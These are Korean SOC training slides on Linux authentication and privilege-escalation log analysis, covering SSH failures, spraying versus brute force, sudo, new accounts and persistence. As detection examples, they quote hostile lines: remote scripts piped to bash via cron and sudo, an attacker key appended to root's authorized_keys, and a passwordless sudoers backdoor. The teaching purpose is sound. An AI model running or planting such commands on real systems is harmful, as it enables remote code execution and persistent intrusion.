    일반 명령압축 파일 명령용도
    grepzgrep키워드 검색
    lesszless파일 내용 보기
    catzcat파일 전체 출력
    diffzdiff파일 비교
    # 지난 3일 auth 로그에서 특정 IP 검색
    $ zgrep "198.51.100.23" /var/log/auth.log* 2>/dev/null

    # 회전된 파일들 모두 검색
    $ grep -h "Failed" /var/log/auth.log /var/log/auth.log.1 | wc -l
    SOC 핵심 습관: 현행 파일만 보고 끝내지 마세요
    실전 조회 워크플로: tail, less, grep, zgrep, awk
    훌륭한 분석은 어려운 명령어보다, 적절한 순서로 파일을 좁혀 가는 습관에서 나온다
    PART 2 · 파일 체계
    ① 현재 보기
    tail -f auth.log
    실시간 모니터링
    최신 동향 파악
    ② 문맥 보기
    less auth.log
    전체 문맥 파악
    전후 라인 확인
    ③ 필터링
    grep "keyword"
    키워드 검색
    패턴 추출
    ④ 패턴 요약
    awk | sort | uniq -c
    빈도 집계
    이상 패턴 발견
    ⑤ 과거 확장
    zgrep "*.gz"
    회전 로그까지
    시간 범위 확장
    # 실전 분석 예시: 특정 IP의 SSH 실패 횟수 집계
    $ grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -rn | head -20

    # 결과: IP별 실패 횟수
      452 198.51.100.23
      38 203.0.113.7
      12 10.10.2.15
    grep -c "Failed" auth.log — 빠른 실패 횟수 파악
    grep만 반복하다가 전체 문맥 놓치지 마세요 — less로 앞뒤 확인 병행
    로그 파일 체계에서 자주 놓치는 함정
    로그가 없어서 못 본 것이 아니라, 다른 위치·다른 시간대·다른 수집 경로에 있어서 못 본 경우가 훨씬 많다
    PART 2 · 파일 체계
    ⏰ 시간대 불일치

    서버는 UTC, SIEM은 KST로 표시. 9시간 오차로 이벤트 시퀀스가 뒤바뀔 수 있음. 항상 타임존 확인!

    $ timedatectl
    Time zone: UTC (UTC, +0000)
    ≠ SIEM KST +0900
    📦 컨테이너/쿠버네티스

    컨테이너 앱 로그는 stdout으로만 나가고 호스트 /var/log에 없을 수 있음. kubectl logs 또는 사이드카 수집기 확인 필요.

    📡 수집 경로 단절

    SIEM 에이전트 장애, 네트워크 단절로 수집이 멈춘 경우. 로컬에는 있고 SIEM에는 없는 갭 발생 가능.

    🔨 파싱 실패

    SIEM 파싱 룰이 맞지 않으면 src_ip, user 필드가 비어 탐지 룰이 동작하지 않음. 원본 raw 로그 확인 필요.

    🗑️ 로그 삭제/변조

    공격자가 root 권한 확보 후 로컬 로그 삭제. SIEM 중앙 수집본은 남을 수 있음. 두 곳 비교 필수.

    🔄 journald 전용 환경

    /var/log 파일이 없거나 비어있는데 journald에는 데이터가 있는 경우. journalctl 확인 필수.

    분석가의 의심: "내가 지금 보고 있는 것이 전체 그림인가?" — 항상 이 질문을 던지세요
    PART 3
    3
    로그인 및 인증 로그 분석
    모든 인증 실패가 공격은 아니고, 모든 로그인 성공이 정상도 아니다
    예상 시간: 70분
    SSH 실패 분석 SSH 성공 해석 Brute Force vs Spraying 키 기반 인증 triage 체크리스트
    보강 설명로그인 및 인증 로그 분석 파트의 핵심은 개념 설명을 바로 분석 질문과 운영 판단 기준으로 연결하는 데 있다. 다음 슬라이드부터는 사실·패턴·맥락·조치 순서로 읽어 나간다.
    핵심 개념판단 기준실무 적용
    들어가기 전에
    • 용어 정의보다 실제 로그에서 어떻게 보이는지에 집중
    • 한 줄 로그를 사건 흐름으로 확장하는 연습을 함께 진행
    • 정상과 이상을 자산·시간·후속 행위로 구분해 보기
    이 파트에서 놓치지 말 것
    • 단일 이벤트보다 반복성·연속성·맥락을 함께 보기
    • 오탐 가능성과 추가 확인 항목을 동시에 적기
    • 분석 결과를 보고 문장과 조치 제안까지 연결하기
    바로 써먹는 학습 포인트
    • 핵심 필드 3~5개만으로도 초동 판단은 가능하다
    • 탐지 신호와 정상 예외를 같이 적어야 운영 품질이 오른다
    • 실습 답안은 결론보다 근거를 더 분명하게 쓰기
    로그인 이벤트는 공격의 시작점이다
    Linux 침해의 많은 사례는 결국 '누가 어떻게 서버에 들어왔는가'라는 질문에서 출발한다
    PART 3 · 인증 분석
    🎯 외부 공격자의 주요 진입 방법
    🔨
    SSH 비밀번호 대입 (Brute Force) — 단순하지만 지금도 흔함
    🔑
    SSH 키 탈취 — 개발자 PC에서 키 파일 탈취 후 활용
    🔄
    자격증명 재사용 (Credential Stuffing) — 유출된 계정 정보 활용
    🏰
    Bastion 악용 — 정상 경로를 통한 비정상 접근

    내부 위협도 로그인에서 드러난다

    • 퇴사자 계정을 이용한 무단 접근
    • 비정상 시간대 접근 (업무 외 시간)
    • 권한 없는 서버 접근 시도
    🔍 인증 분석의 가치
    🎯
    침해 전조
    반복 실패, 알 수 없는 계정 시도
    침해 확정
    비정상 조건에서 인증 성공
    💥
    침해 후 확산 출발점
    로그인 → sudo → 명령 실행 → 지속성
    보강 설명Linux 침해의 많은 사례는 결국 누가 어떻게 서버에 들어왔는가라는 질문에서 출발합니다. 인증 로그 분석은 서버 보안 분석의 기초 체력입니다. 계정·출발지·시간대와 후속 권한상승까지 같이 보면 의미가 선명해진다.
    인증 시도SSH세션 생성
    핵심 포인트
    • 성공/실패만 보지 말고 계정·IP·시간대를 같이 읽기
    • 실패 다수 후 성공 1회는 별도 사건으로 취급하기
    • root·관리자·서비스 계정은 민감도를 다르게 보기
    추가 확인
    • Bastion/VPN·허용 IP·승인 작업 여부 점검
    • last/lastb/who로 현재 세션과 지속 시간 확인
    • 로그인 직후 sudo·다운로드·cron 등록이 이어지는지 보기
    실무 질문
    • 사용자 역할상 이 자산 접근이 자연스러운가
    • 신규 IP 또는 야간 접근이라면 사용자 확인이 필요한가
    • 즉시 차단보다 먼저 보존해야 할 증거는 무엇인가
    SSH 실패 로그 심층 해부
    실패 로그는 단순 오류 메시지가 아니라, 공격 패턴과 대상 계정을 드러내는 단서다
    PART 3 · 인증 분석
    Jan 12 08:15:23  web01  sshd[20191]:  Failed password for invalid user oracle from 198.51.100.23 port 51422 ssh2
    🔍 각 필드의 보안 의미
    필드보안 의미
    결과 Failed password 비밀번호 인증 실패
    계정 상태 invalid user 🚨 존재하지 않는 계정 → 자동화 스캔 강력 시사
    계정명 oracle DB 기본 계정명 → 목록 기반 공격
    출발지 IP 198.51.100.23 외부 IP → 인터넷에서 직접 시도
    인증 방식 ssh2 SSH2 프로토콜 (정상)
    📌 invalid user vs 실제 계정 실패

    ⚠️ invalid user + 외부 IP

    시스템에 없는 계정 시도 = 스캐닝/자동화 도구가 계정 목록을 시도. 사용자 실수가 아님. 계속 쌓이면 브루트포스 캠페인 가능성.

    실제 계정 + 내부 IP

    실제 존재하는 계정에 비밀번호 실수. 내부 서버라면 비밀번호 만료, 스크립트 설정 오류 가능성 먼저 확인.

    🔑 자주 시도되는 계정 목록: root, admin, ubuntu, ec2-user, oracle, postgres, mysql, ftp, git, deploy, test, backup
    SSH 성공 로그 심층 읽기: 성공은 끝이 아니라 시작이다
    진짜 분석은 '들어온 뒤 무엇을 했는가'로 이어져야 한다
    PART 3 · 인증 분석
    Jan 12 08:17:09  web01  sshd[20234]:  Accepted publickey for devops from 10.10.2.15 port 44802 ssh2: RSA SHA256:ABCD...
    🔑 인증 방식별 차이
    password
    • 비밀번호 인증
    • 탈취 위험 상대적 높음
    • 브루트포스 시도 후 성공 여부 확인 필요
    publickey
    • 공개키 인증
    • 탈취된 키 악용 가능
    • authorized_keys 파일 변경 확인
    ❓ 핵심 분석 질문 4가지
    1. 이 계정이 이 자산에 접근하는 것이 정상인가?
    2. 출발지 IP가 Bastion, 내부 관리망, 신규 IP 중 무엇인가?
    3. 실패 후 성공으로 이어진 흐름인가?
    4. 직후 sudo, 파일 전송, 명령 실행 흔적이 있는가?
    ⚖️ 같은 Accepted, 다른 맥락

    ✅ 정상 가능성 높음

    Accepted publickey for devops from 10.10.2.15
    • Bastion Host 내부 IP
    • 키 기반 인증 (패스워드 미사용)
    • 업무시간 (09:30)
    • 직후 배포 스크립트 실행

    🚨 고위험 가능성

    Accepted password for admin from 203.0.113.44
    • 신규 외부 IP (처음 보이는 IP)
    • 비밀번호 인증 (키 인증 미사용)
    • 야간 (02:14)
    • 직후 sudo + /tmp 다운로드
    정상 로그인 패턴 vs 이상 로그인 패턴
    로그인 이벤트는 개별 한 줄보다 반복성·다양성·시간대·후속 행위의 조합으로 판단해야 한다
    PART 3 · 인증 분석
    ✅ 정상 패턴 예시
    승인된 계정이 익숙한 IP/Bastion에서 접근
    업무시간 또는 사전 공지된 점검시간
    소수 실패 후 성공 또는 곧바로 성공
    직후 수행 행위가 기존 역할과 일치
    과거에도 동일 패턴이 반복됨
    🚨 이상 패턴 예시
    단시간에 다수 실패 후 성공
    다양한 계정 이름 시도 (invalid user 포함)
    야간/주말의 신규 외부 IP 성공
    로그인 직후 sudo, 외부 다운로드, 지속성 확보
    평소 접근하지 않던 서버에 접근
    ⚖️ 판단 원칙
    실패 횟수 하나, 성공 여부 하나만으로 결론 내리지 마세요.
    출발지 + 시간 + 대상 계정 + 전후 행동을 함께 보는 습관이 핵심입니다.
    보강 설명로그인 이벤트는 개별 한 줄보다 반복성, 다양성, 시간대, 후속 행위의 조합으로 판단해야 합니다. 이 비교를 수강생과 함께 토론하면 좋습니다. 핵심 사실을 읽은 뒤 왜 중요한지와 추가로 붙일 로그까지 함께 정리하면 실무 연결이 쉬워진다.
    반복성시간대IP 다양성
    핵심 포인트
    • 슬라이드 핵심 개념을 사실·패턴·맥락 순서로 읽어 보기
    • 용어 정의보다 실제 로그에서 어떻게 나타나는지 함께 기억하기
    • 정상과 이상을 비교하며 기준을 만드는 것이 중요하다
    추가 확인
    • 이 주제에서 꼭 붙여야 할 다른 로그는 무엇인지 생각하기
    • 오탐이 날 수 있는 정상 예외를 한 줄로 적어 보기
    • 자산 중요도와 시간대가 결론을 바꾸는지 확인
    실무 적용
    • 한 문장 보고서 형태로 요약해 보는 연습
    • 핵심 필드 3개와 그 이유를 함께 정리하기
    • 다음 슬라이드나 실습과 어떻게 이어지는지 연결해 보기
    PART 4
    인증 로그 심층 분석
    SSH · PAM · 브루트포스 · 로그인 패턴 · Triage
    ⏱ 70분 | Slides 32 – 38
    보강 설명인증 로그 심층 분석 파트의 핵심은 개념 설명을 바로 분석 질문과 운영 판단 기준으로 연결하는 데 있다. 다음 슬라이드부터는 사실·패턴·맥락·조치 순서로 읽어 나간다.
    인증 분석SSHPAM
    들어가기 전에
    • 용어 정의보다 실제 로그에서 어떻게 보이는지에 집중
    • 한 줄 로그를 사건 흐름으로 확장하는 연습을 함께 진행
    • 정상과 이상을 자산·시간·후속 행위로 구분해 보기
    이 파트에서 놓치지 말 것
    • 단일 이벤트보다 반복성·연속성·맥락을 함께 보기
    • 오탐 가능성과 추가 확인 항목을 동시에 적기
    • 분석 결과를 보고 문장과 조치 제안까지 연결하기
    바로 써먹는 학습 포인트
    • 핵심 필드 3~5개만으로도 초동 판단은 가능하다
    • 탐지 신호와 정상 예외를 같이 적어야 운영 품질이 오른다
    • 실습 답안은 결론보다 근거를 더 분명하게 쓰기
    Brute Force, Password Spraying, 운영 오류를 구분하라
    실패 로그가 많다는 사실만으로는 공격 유형을 특정할 수 없다 — 패턴을 보면 성격이 보인다
    분석
    🔨 Brute Force
    한 계정 + 다수 비밀번호
    01:55:01 Failed password for root
    01:55:02 Failed password for root
    01:55:03 Failed password for root
    ... × 280
    • 대상 계정: 1개 (집중)
    • 출발지 IP: 1~소수
    • 속도: 빠름 (초 단위)
    🌐 Password Spraying
    다수 계정 + 소수 비밀번호
    02:10:01 Failed for alice from 198.51.100.5
    02:10:03 Failed for bob from 198.51.100.5
    02:10:05 Failed for carol from 198.51.100.5
    02:10:07 Failed for admin from 198.51.100.5
    • 대상 계정: 다수 (분산)
    • 출발지 IP: 소수
    • 속도: 느림 (잠금 회피)
    ⚙️ 운영 오류
    내부 서버 + 서비스 계정
    03:00:01 Failed for backup-svc from 10.0.1.5
    03:05:01 Failed for backup-svc from 10.0.1.5
    03:10:01 Failed for backup-svc from 10.0.1.5
    • 대상: 특정 서비스 계정
    • 출발지: 내부 IP
    • 패턴: 정기 반복
    🔍 구분 질문 4가지
    ① 대상 계정이 몇 개인가? ② 출발지 IP가 몇 개인가? ③ 시도 간격은 어떤가? ④ 변경 작업 직후인가?
    실패 로그 패턴 심층 읽기
    invalid user vs 실제 계정 실패의 차이가 공격 단계를 알려준다
    실전
    🔎 패턴 A: 스캔 → 실제 시도
    01:50:01 sshd: Invalid user webmaster from 198.51.100.23
    01:50:02 sshd: Invalid user git from 198.51.100.23
    01:50:03 sshd: Invalid user deploy from 198.51.100.23
    ... × 50회 invalid user
    01:51:40 sshd: Failed password for admin from 198.51.100.23
    01:51:42 Accepted password for admin from 198.51.100.23
    해석: invalid user = 계정명 열거 중, admin 실패→성공 = 계정 특정 후 침투 성공
    ✅ 패턴 B: 정상 오류
    03:00:01 sshd: Failed password for ci-bot from 10.10.0.5
    03:05:01 Failed ci-bot from 10.10.0.5
    03:10:01 Failed ci-bot from 10.10.0.5
    해석: 내부 IP, 서비스 계정, 5분 정주기 패턴 → 비밀번호 만료 오류 가능성
    📋 빠른 구분 체크
    invalid user 포함 = 계정 스캔 단계
    외부 IP + 다양한 계정 = Password Spraying
    내부 IP + 한 계정 + 정기 = 운영 오류
    실패 후 성공 연결 여부 반드시 확인
    root 로그인은 왜 더 민감한가
    권한이 높은 계정의 로그인은 그 자체로 위험도가 높으며, 정책상 금지되거나 예외적으로만 허용되는 경우가 많다
    주의
    ⛔ root 로그인이 민감한 이유
    • root = 시스템 전권 (파일 삭제, 설정 변경, 서비스 조작 모두 가능)
    • 침해 시 피해 확산 속도가 일반 계정 대비 훨씬 빠름
    • 많은 조직: PermitRootLogin no 또는 예외 승인 대상
    • root 세션에서의 모든 명령 = 시스템 전체에 영향
    📊 위험도 판단 구조
    정상 가능: 예외 승인 + Bastion 경유 + 점검 창구 시간
    🚨 고위험: 신규 IP + 야간 + 직후 명령 실행
    🚨 고위험: root 실패 반복 후 성공 1회
    🚨 고위험: 비정규 경로 (VPN/Bastion 미경유)
    03:15:44 sshd[8821]: Accepted password for root from 198.51.100.77 port 56621 ssh2
    03:15:44 sshd[8821]: pam_unix(sshd:session): session opened for user root by (uid=0)
    🎯 분석 핵심 질문
    왜 지금, 왜 여기서, 왜 이 경로로 root를 썼는가 — 명령 존재보다 맥락 불일치를 본다
    키 기반 인증과 authorized_keys 분석
    비밀번호 실패가 없다고 안전한 것이 아니다 — 탈취되거나 몰래 추가된 SSH 키는 조용하게 들어온다
    주의
    🔑 키 인증 성공 로그
    04:22:11 sshd: Accepted publickey for deploy from 203.0.113.5 port 49022 ssh2: RSA SHA256:k7mX...
    04:22:11 sshd: pam_unix: session opened for user deploy
    이 로그만 보면 평범한 키 인증. 키가 탈취된 것인지, 새로 심어진 것인지는 로그만으로 알 수 없음
    ⚠️ authorized_keys 변경 위험
    ~/.ssh/authorized_keys에 공격자 공개키 추가
    • 비밀번호를 바꿔도 재진입 가능
    표준 auth 로그에 직접 기록 안 됨
    • auditd / FIM / EDR 보강 필수
    🔄 분석 흐름
    Step 1
    Accepted publickey 확인
    정상 키인가? 탈취 키인가?
    Step 2
    authorized_keys 변경 여부
    파일 mtime 확인, auditd 감사 필요
    Step 3
    키 핑거프린트 비교
    알려진 키 목록과 대조
    Step 4
    직전 sudo/권한 상승
    키 심기를 위한 권한 확보 흔적
    실무 원칙: 로그에 안 보이면 없었다가 아니라, 다른 데이터 소스로 보강해야 한다
    last / lastb / who로 세션 관점을 보강하기
    메시지형 로그와 세션형 기록을 함께 보면 공격 타임라인이 훨씬 선명해진다
    명령어
    📋 명령별 역할
    last
    로그인 성공 기록 + 세션 지속 시간
    → 세션이 얼마나 유지됐는지 확인
    lastb
    실패 패턴을 빠르게 훑기 (/var/log/btmp)
    → 브루트포스 흔적 빠른 확인
    who / w
    현재 로그인 중인 사용자 확인
    지금도 살아있는 세션? 즉시 확인
    🔗 결합 분석 흐름
    lastb
    실패 패턴 확인
    01:50~02:05 180회 실패
    auth.log
    성공 이벤트
    02:06 admin 로그인 성공
    last
    세션 지속 시간
    02:06 ~ 04:33 (2시간 27분)
    who
    현재 접속 여부
    아직 접속 중? → 즉시 조치 필요
    IR 초동: '지금 당장 살아 있는 세션이 있는가'를 가장 먼저 확인
    # last -n 5 실행 예시
    admin pts/0 198.51.100.23 Tue Jan 12 02:06 still logged in
    alice pts/1 10.0.1.50 Mon Jan 11 09:15 - 17:30 (08:15)
    서비스 계정, Bastion, VPN, 배치 시간대: 흔한 예외 맥락
    인증 분석은 의심을 키우는 일만큼이나, 정상 예외를 올바르게 식별하는 일이 중요하다
    분석
    ✅ 자주 보는 정상 예외
    Bastion / Jump Host 경유: 출발지가 Bastion IP → 정책 허용
    서비스 계정 자동 로그인: backup-svc, ci-bot, monitor-agent
    비밀번호 변경 직후: 서비스 재기동 전 일시 실패
    야간 점검 창구: 승인된 패치·백업 작업
    내부 모니터링 계정: 정기 헬스체크 인증
    🔎 정상 예외 확인 포인트
    📌 승인 작업 여부 — 변경 티켓, 작업 캘린더 확인
    👤 계정 용도와 역할 — 서비스 계정 목록 대조
    🌐 출발지 신뢰성 — Bastion/VPN IP 목록 확인
    🔄 과거 반복 패턴 — 동일 패턴이 이전에도 있었는가
    ⚖️ 판단 원칙
    SOC는 많이 의심하는 조직이 아니라 잘 구분하는 조직이어야 한다 — 예외를 모르면 오탐 폭증, 진짜 중요한 알림이 묻힌다
    보강 설명인증 분석은 의심을 키우는 일만큼이나 정상 예외를 올바르게 식별하는 일이 중요합니다. 계정·출발지·시간대와 후속 권한상승까지 같이 보면 의미가 선명해진다.
    Bastion서비스 계정점검 창구
    핵심 포인트
    • 성공/실패만 보지 말고 계정·IP·시간대를 같이 읽기
    • 실패 다수 후 성공 1회는 별도 사건으로 취급하기
    • root·관리자·서비스 계정은 민감도를 다르게 보기
    추가 확인
    • Bastion/VPN·허용 IP·승인 작업 여부 점검
    • last/lastb/who로 현재 세션과 지속 시간 확인
    • 로그인 직후 sudo·다운로드·cron 등록이 이어지는지 보기
    실무 질문
    • 사용자 역할상 이 자산 접근이 자연스러운가
    • 신규 IP 또는 야간 접근이라면 사용자 확인이 필요한가
    • 즉시 차단보다 먼저 보존해야 할 증거는 무엇인가
    Linux 인증 Alert triage 체크리스트
    좋은 triage는 '수상하다'에서 멈추지 않고, 사실·맥락·조치 방향을 함께 남긴다
    Triage
    📋 인증 Alert 체크리스트
    1어떤 계정과 어떤 자산에 대한 로그인인가?
    2실패/성공의 횟수와 패턴은 어떠한가?
    3출발지 IP는 내부/Bastion/VPN/신규 외부 중 무엇인가?
    4시간대와 변경 작업 맥락은 어떠한가?
    5직후 sudo / 다운로드 / 세션 유지 등 후속 행위가 있는가?
    6사용자 확인 또는 즉시 차단이 필요한 수준인가?
    ✅ Close
    👁 Monitor
    🚨 Escalate
    ✍️ 좋은 판단문 예시
    Before — 불충분한 서술
    내용
    외부 IP에서 root 로그인 성공
    ❌ 정황만 있고 맥락·위험·조치 없음
    After — 운영 판단문
    Fact
    야간 신규 외부 IP에서 root 로그인 성공 확인
    Context
    운영 웹서버, 승인된 점검 이력 없음
    Risk
    직후 sudo 세션 + /tmp 다운로드 흔적
    Action
    고위험 판단, 계정 통제 및 호스트 격리 검토 권고
    보강 설명좋은 triage는 수상하다에서 멈추지 않고 사실·맥락·조치 방향을 함께 남깁니다. 계정·출발지·시간대와 후속 권한상승까지 같이 보면 의미가 선명해진다.
    triageEscalate운영 문장
    핵심 포인트
    • 성공/실패만 보지 말고 계정·IP·시간대를 같이 읽기
    • 실패 다수 후 성공 1회는 별도 사건으로 취급하기
    • root·관리자·서비스 계정은 민감도를 다르게 보기
    추가 확인
    • Bastion/VPN·허용 IP·승인 작업 여부 점검
    • last/lastb/who로 현재 세션과 지속 시간 확인
    • 로그인 직후 sudo·다운로드·cron 등록이 이어지는지 보기
    실무 질문
    • 사용자 역할상 이 자산 접근이 자연스러운가
    • 신규 IP 또는 야간 접근이라면 사용자 확인이 필요한가
    • 즉시 차단보다 먼저 보존해야 할 증거는 무엇인가
    PART 5
    계정 침해 및 권한 상승 분석
    sudo · su · 계정 생성 · sudoers · authorized_keys · 지속성
    ⏱ 60분 | Slides 40 – 48
    보강 설명계정 침해 및 권한 상승 분석 파트의 핵심은 개념 설명을 바로 분석 질문과 운영 판단 기준으로 연결하는 데 있다. 다음 슬라이드부터는 사실·패턴·맥락·조치 순서로 읽어 나간다.
    권한 상승sudo지속성
    들어가기 전에
    • 용어 정의보다 실제 로그에서 어떻게 보이는지에 집중
    • 한 줄 로그를 사건 흐름으로 확장하는 연습을 함께 진행
    • 정상과 이상을 자산·시간·후속 행위로 구분해 보기
    이 파트에서 놓치지 말 것
    • 단일 이벤트보다 반복성·연속성·맥락을 함께 보기
    • 오탐 가능성과 추가 확인 항목을 동시에 적기
    • 분석 결과를 보고 문장과 조치 제안까지 연결하기
    바로 써먹는 학습 포인트
    • 핵심 필드 3~5개만으로도 초동 판단은 가능하다
    • 탐지 신호와 정상 예외를 같이 적어야 운영 품질이 오른다
    • 실습 답안은 결론보다 근거를 더 분명하게 쓰기
    공격자는 왜 로그인 직후 권한 상승을 노리는가
    초기 접근만으로는 할 수 있는 일이 제한적이기 때문에, 공격자는 더 넓은 권한과 깊은 지배력을 확보하려 한다
    개념
    🔒 일반 사용자 권한의 제한
    시스템 설정 파일 변경 불가
    다른 사용자 데이터 접근 제한
    서비스 설치/시작/중지 제한
    cron 등록, 부팅 서비스 추가 제한
    감사 로그 변경/삭제 불가
    🔓 root 권한으로 가능한 것들
    시스템 전체 파일 읽기/쓰기/삭제
    서비스 조작, 커널 모듈 로드
    계정 생성/수정, sudoers 변경
    네트워크 설정, 방화벽 조작
    감사 로그 삭제/조작
    👤
    User
    제한된 권한
    → sudo / su / exploit →
    👑
    Root
    시스템 전권
    → 목표 달성 →
    💀
    Incident
    침해 완료
    💡 핵심
    로그인 성공 후 권한 상승 시도가 붙는 순간 사건의 무게가 달라진다 — 인증 분석과 권한 분석은 한 세트
    보강 설명초기 접근만으로는 공격 목표를 달성하기 어렵습니다. 권한 상승은 공격의 다음 단계입니다. 권한 변화와 지속성 흔적이 이어지는지까지 확인해야 사건의 무게를 알 수 있다.
    권한 상승root사고 무게
    핵심 포인트
    • sudo·su·systemd·cron·authorized_keys는 권한 흔적의 핵심
    • 새 계정 생성과 sudoers 변경은 장기 재진입 구조일 수 있다
    • 한 번의 root 쉘보다 이후 남긴 지속성 흔적이 더 중요할 수 있다
    추가 확인
    • 관련 파일 mtime과 service enable 흔적 점검
    • auditd execve와 auth 로그를 같이 묶어 주체를 확인
    • 새 계정·새 키·새 서비스가 같은 세션에서 생겼는지 보기
    실무 적용
    • 지속성이 여러 겹이면 동시에 제거해야 재침투를 막을 수 있다
    • IAM·운영팀과 함께 계정 통제 범위를 즉시 정리
    • 권한상승 이벤트는 영향도 높은 자산부터 우선 대응
    sudo 로그 해부: 누가 누구 권한으로 무엇을 실행했는가
    sudo 로그는 권한 상승 분석의 핵심이며, 행위 주체·작업 위치·실행 명령을 한 줄에 응축해 주는 경우가 많다
    분석
    🔍 sudo 로그 한 줄 완전 해부
    Jan 12 08:18:42 web01 sudo: alice : TTY=pts/0 ; PWD=/home/alice ; USER=root ; COMMAND=/usr/bin/apt update
    👤 실행자
    alice
    💻 터미널
    TTY=pts/0
    원격 SSH 세션
    📁 작업 경로
    PWD=/home/alice
    👑 목표 권한
    USER=root
    ✅ 정상 명령 예시
    COMMAND=/usr/bin/apt update
    COMMAND=/usr/bin/systemctl restart nginx
    COMMAND=/usr/bin/tail -n 100 /var/log/nginx/error.log
    🚨 주의 명령 예시
    COMMAND=/usr/sbin/useradd -m backupsvc
    COMMAND=/bin/bash ← root 쉘 직접
    COMMAND=/bin/chmod 777 /etc/sudoers
    COMMAND=/bin/curl -fsSL http://203.0.113.10/a.sh
    su, pkexec, doas 등 다른 권한 전환 경로
    환경에 따라 sudo만 보는 것은 불완전하다 — 공격자는 가능한 경로를 모두 활용한다
    개념
    su
    다른 사용자로 세션 전환
    05:33:11 su: pam_unix: authentication success; user=alice -> root
    05:33:11 su: pam_unix: session opened for user root
    • root 비밀번호 필요
    • su - = 환경까지 전환
    • auth.log/secure에 기록
    pkexec
    PolicyKit 기반 권한 실행
    데스크톱/GUI 환경에서 주로 사용되나 CVE-2021-4034(PwnKit)처럼 취약점 악용 사례 있음
    • auth.log에 기록될 수 있음
    • 취약점 악용 시 로그 미흡
    • auditd/EDR 보강 필요
    auditd 보강
    커널 수준 권한 상승 탐지
    type=SYSCALL ... comm="su" ... auid=1001 uid=0
    type=EXECVE ... argc=3 a0="sudo" a1="bash"
    • execve 시스템콜 추적
    • uid/euid 변화 기록
    • 삭제/우회 어려움
    실무 원칙: 권한 상승은 파일 하나가 아니라 증거 묶음으로 봐야 한다 — 환경마다 어떤 경로가 활성화되어 있는지 파악이 먼저
    새 계정 생성과 그룹 추가: 조용하지만 치명적인 흔적
    공격자는 루트 쉘을 한 번 얻은 뒤, 재진입을 쉽게 하려고 새로운 계정을 만들거나 sudo/wheel 그룹에 추가할 수 있다
    주의
    📋 계정 생성 흔적 로그
    02:21:05 useradd[9022]: new user: name=backupsvc, UID=1002, GID=1002, home=/home/backupsvc
    02:21:08 passwd[9030]: pam_unix: password changed for backupsvc
    02:21:12 usermod[9041]: add backupsvc to group sudo
    02:23:40 Accepted password for backupsvc from 203.0.113.5
    생성 직후 로그인 → 새 계정이 재진입 통로로 즉시 사용됨
    🚨 위장 계정명 패턴
    backup sync admin2 nagios svc-ops monitor
    📌 분석 포인트
    • 계정 생성 시점과 승인 이력 확인
    • 생성 직후 로그인/sudo 사용 여부
    • 계정명이 정상 운영 계정처럼 위장
    • /etc/passwd 신규 항목 검토
    sudoers 변경과 /etc/sudoers.d 조작
    기존 계정을 아예 상시 관리자 권한으로 바꿔 버리는 행위는 매우 강한 침해 신호다
    주의
    ⚠️ 위험한 sudoers 설정
    # /etc/sudoers.d/ops-override
    backupsvc ALL=(ALL) NOPASSWD:ALL
    # 의미: backupsvc는 비밀번호 없이 모든 명령 root로 실행 가능
    NOPASSWD:ALL = 비밀번호 없이 무제한 root 권한 → 매우 드문 정상 설정
    🔍 탐지 방법
    • visudo 실행 흔적 (bash_history, auditd)
    • /etc/sudoers.d/ 신규 파일 생성
    • 파일 mtime 변경 확인
    • 변경 직후 sudo 성공 연결 여부
    📊 위험도 비교
    정상 예시: 운영팀 계정에 특정 서비스 재시작만 허용
    ops-team ALL=(ALL) NOPASSWD: /usr/bin/systemctl restart nginx
    위험 예시: 신규/서비스 계정에 전체 root 권한
    backupsvc ALL=(ALL) NOPASSWD:ALL
    매우 위험: 승인 없음 + 야간 변경 + 직후 sudo 실행
    sudoers 변경 = 일회성 root 쉘이 아닌 구조적 권한 유지 설정
    SSH 키 기반 지속성: authorized_keys 추가
    비밀번호를 바꾸더라도 공격자가 심어둔 SSH 키가 남아 있으면 다시 들어올 수 있다
    주의
    🔑 공격자 키 삽입 흐름
    권한 확보
    sudo/root 권한 획득
    02:13 sudo bash
    키 삽입
    authorized_keys 수정
    echo "ssh-rsa ATTACKER_KEY" >> /root/.ssh/authorized_keys
    지속성
    비밀번호 변경 후에도 재진입
    Accepted publickey for root
    🔍 표준 로그의 한계
    auth.log에 authorized_keys 변경 자체는 기록 안 됨
    auditd watch 설정 시 파일 변경 기록 가능
    FIM(File Integrity Monitoring) 솔루션
    파일 mtime 수동 확인
    침해 대응 시: 계정 비밀번호만 바꾸면 안 된다
    authorized_keys 전수 점검 필수
    고위험 계정 키 점검 우선순위
    root · deploy · devops · backup · git
    보강 설명비밀번호를 바꿔도 공격자가 심어둔 SSH 키가 남아있으면 다시 들어올 수 있습니다. 계정·출발지·시간대와 후속 권한상승까지 같이 보면 의미가 선명해진다.
    재진입파일 변경 감사지속성
    핵심 포인트
    • 성공/실패만 보지 말고 계정·IP·시간대를 같이 읽기
    • 실패 다수 후 성공 1회는 별도 사건으로 취급하기
    • root·관리자·서비스 계정은 민감도를 다르게 보기
    추가 확인
    • Bastion/VPN·허용 IP·승인 작업 여부 점검
    • last/lastb/who로 현재 세션과 지속 시간 확인
    • 로그인 직후 sudo·다운로드·cron 등록이 이어지는지 보기
    실무 질문
    • 사용자 역할상 이 자산 접근이 자연스러운가
    • 신규 IP 또는 야간 접근이라면 사용자 확인이 필요한가
    • 즉시 차단보다 먼저 보존해야 할 증거는 무엇인가
    cron, systemd timer, 서비스 등록을 통한 지속성
    공격자는 한 번만 실행되는 악성 명령보다, 주기적으로 다시 살아나는 구조를 좋아한다
    주의
    ⏰ cron 지속성 로그
    # /var/log/cron 또는 syslog에서
    Feb 14 02:17:01 CROND[4521]: (root) CMD (curl -s http://203.0.113.10/c.sh | bash)
    Feb 14 02:17:03 CROND[4522]: (root) CMD (/tmp/.update >/dev/null 2>&1)
    🔴 위험 cron 패턴
    • 외부 URL 호출 + bash 파이프
    • /tmp, /dev/shm 경로 실행
    • 출력을 /dev/null로 은닉
    • root 계정 crontab 신규 등록
    🔧 systemd 서비스 지속성
    # /etc/systemd/system/update-helper.service
    [Unit] Description=System Update Helper
    [Service] ExecStart=/tmp/.update_helper
    [Install] WantedBy=multi-user.target
    systemd: Started System Update Helper
    📌 분석 포인트
    • 서비스 파일이 언제 생성/변경됐는가
    • systemctl enable 흔적
    • ExecStart 경로가 /tmp나 숨김 디렉터리
    • 서비스 이름이 정상 운영처럼 위장
    ⚡ 핵심
    스케줄러 자체보다 내용 + 실행 대상 파일 + 등록 시점 + 등록 주체를 함께 봐야 한다
    권한 상승 체인 예시: 로그인 성공 → sudo → 지속성
